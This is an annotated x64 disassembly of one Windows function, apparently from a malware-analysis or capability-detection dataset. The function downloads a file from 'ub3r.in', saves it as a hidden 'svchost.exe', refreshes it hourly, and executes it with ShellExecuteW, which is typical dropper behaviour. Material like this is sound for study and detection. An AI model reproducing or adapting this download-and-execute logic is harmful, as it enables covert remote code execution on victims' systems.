Function at 0x1400023c0
Capabilities:
Check if file exists
Create process on windows
Delete file
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rbp + 0x4f], rax
lea rdx, str.https:__ub3r.in_download_direct
lea rcx, [rbp + 0x2f]
call fcn.140003e80
nop
lea rdx, str.svchost.exe
lea rcx, [rbp + 7]
call fcn.140003e80
nop
lea rcx, [rbp + 7]
cmp qword [rbp + 0x1f], 7
cmova rcx, qword [rbp + 7]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor esi, esi
cmp eax, 0xffffffff
je 0x140002503
lea rcx, [rbp + 7]
cmp qword [rbp + 0x1f], 7
cmova rcx, qword [rbp + 7]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000255b
lea r9, [rbp + 0x27]
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rcx, rbx
test eax, eax
je 0x140002599
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [rbp + 0x2b]
shl rcx, 0x20
mov eax, dword [rbp + 0x27]
or rcx, rax
movabs rdi, 0xd6bf94d5e57a42bd
mov rax, rdi
mul rcx
mov rbx, rdx
shr rbx, 0x17
movabs rcx, 0x2b6109100
sub rbx, rcx
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
mov rcx, rax
mov rax, rdi
imul rcx
add rdx, rcx
sar rdx, 0x17
mov rax, rdx
shr rax, 0x3f
add rdx, rax
sub rdx, rbx
cmp rdx, 0xe10
jb 0x14000252d
lea rcx, [rbp + 7]
cmp qword [rbp + 0x1f], 7
cmova rcx, qword [rbp + 7]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rbp + 7]
lea rcx, [rbp + 0x2f]
call fcn.140001c60
test al, al
je 0x14000255b
lea rcx, [rbp + 7]
cmp qword [rbp + 0x1f], 7
cmova rcx, qword [rbp + 7]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea r8, [rbp + 7]
cmp qword [rbp + 0x1f], 7
mov dword [rsp + 0x28], 5
cmova r8, qword [rbp + 7]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
mov rdx, qword [rbp + 0x1f]
cmp rdx, 7
jbe 0x1400025a6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400025a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400025a1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000255b
call fcn.140005414
movdqa xmm0, xmmword [0x140008060]
movdqu xmmword [rbp + 0x17], xmm0
mov word [rbp + 7], si
mov rdx, qword [rbp + 0x47]
cmp rdx, 7
jbe 0x1400025fa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400025f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400025f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005414
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.1400052e0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret